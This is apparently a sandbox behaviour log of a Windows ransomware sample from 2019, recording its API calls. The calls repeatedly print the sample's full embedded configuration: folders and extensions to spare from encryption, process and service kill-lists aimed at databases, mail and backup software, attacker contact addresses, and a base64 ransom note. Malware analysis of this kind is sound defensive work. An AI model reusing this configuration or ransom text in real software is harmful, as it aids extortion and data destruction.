# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Jul 31 2019 13:47:23 # Log Creation Date: 05.09.2019 00:39:17.907 Process: id = "1" image_name = "2c08f5ca36.exe" filename = "c:\\users\\fd1hvy\\desktop\\2c08f5ca36.exe" page_root = "0x963f000" os_pid = "0x4a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\2c08f5ca36.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x4a4 [0036.841] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x200) returned 0xb1e690 [0037.013] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x6) returned 0xb12b58 [0037.013] RtlInitAnsiString (in: DestinationString=0x97fc2c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.013] RtlAnsiStringToUnicodeString (in: DestinationString=0x97fc34, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0037.014] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xc) returned 0xb21940 [0037.014] RtlFreeAnsiString (AnsiString="N") [0037.014] RtlInitUnicodeString (in: DestinationString=0x97fc38, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.014] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x97fc44 | out: BaseAddress=0x97fc44*=0x77bb0000) returned 0x0 [0037.014] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb21940) returned 1 [0037.015] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb12b58) returned 1 [0037.015] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x6) returned 0xb12b58 [0037.015] RtlInitAnsiString (in: DestinationString=0x97fc2c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.015] RtlAnsiStringToUnicodeString (in: DestinationString=0x97fc34, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0037.015] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xc) returned 0xb21a60 [0037.015] RtlFreeAnsiString (AnsiString="N") [0037.015] RtlInitUnicodeString (in: DestinationString=0x97fc38, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.015] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x97fc44 | out: BaseAddress=0x97fc44*=0x77bb0000) returned 0x0 [0037.015] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb21a60) returned 1 [0037.016] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb12b58) returned 1 [0037.016] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x6) returned 0xb12b58 [0037.016] RtlInitAnsiString (in: DestinationString=0x97fc2c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.016] RtlAnsiStringToUnicodeString (in: DestinationString=0x97fc34, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0037.016] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xc) returned 0xb21ad8 [0037.017] RtlFreeAnsiString (AnsiString="N") [0037.017] RtlInitUnicodeString (in: DestinationString=0x97fc38, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.017] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x97fc44 | out: BaseAddress=0x97fc44*=0x77bb0000) returned 0x0 [0037.017] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb21ad8) returned 1 [0037.017] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb12b58) returned 1 [0037.019] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x6) returned 0xb12b58 [0037.019] RtlInitAnsiString (in: DestinationString=0x97fc2c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.019] RtlAnsiStringToUnicodeString (in: DestinationString=0x97fc34, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0037.019] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xc) returned 0xb21928 [0037.019] RtlFreeAnsiString (AnsiString="N") [0037.019] RtlInitUnicodeString (in: DestinationString=0x97fc38, SourceString="NTDLL" | out: DestinationString="NTDLL") [0037.019] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x97fc44 | out: BaseAddress=0x97fc44*=0x77bb0000) returned 0x0 [0037.019] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb21928) returned 1 [0037.020] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb12b58) returned 1 [0037.020] RtlInitUnicodeString (in: DestinationString=0x97fca4, SourceString="advapi32.dll" | out: DestinationString="advapi32.dll") [0037.020] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32.dll", BaseAddress=0x97fcb0 | out: BaseAddress=0x97fcb0*=0x761b0000) returned 0x0 [0039.757] RtlInitUnicodeString (in: DestinationString=0x97fca4, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0039.757] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x97fcb0 | out: BaseAddress=0x97fcb0*=0x73170000) returned 0x0 [0039.921] RtlInitUnicodeString (in: DestinationString=0x97fca4, SourceString="shell32.dll" | out: DestinationString="shell32.dll") [0039.921] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x97fcb0 | out: BaseAddress=0x97fcb0*=0x76480000) returned 0x0 [0050.069] FindResourceA (hModule=0xab0000, lpName=0x7a69, lpType=0x539) returned 0xac5048 [0050.069] LoadResource (hModule=0xab0000, hResInfo=0xac5048) returned 0xac5058 [0050.069] LockResource (hResData=0xac5058) returned 0xac5058 [0050.070] SizeofResource (hModule=0xab0000, hResInfo=0xac5048) returned 0xd8a [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xd8a) returned 0xb2e348 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x5) returned 0xb28620 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x100) returned 0xb228f8 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x100) returned 0xb24e38 [0050.070] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb24e38) returned 1 [0050.070] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb228f8) returned 1 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb290b0 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28760 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28ed0 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28740 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb290d0 [0050.070] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28740, Size=0x8) returned 0xb28770 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28f70 [0050.070] strtol (in: _Str="0,\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x97fc58, _Radix=0 | out: _EndPtr=0x97fc58*=",\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0050.070] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28770, Size=0xc) returned 0xb25268 [0050.070] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28e90 [0050.070] strtol (in: _Str="16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x97fc58, _Radix=0 | out: _EndPtr=0x97fc58*=",\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], 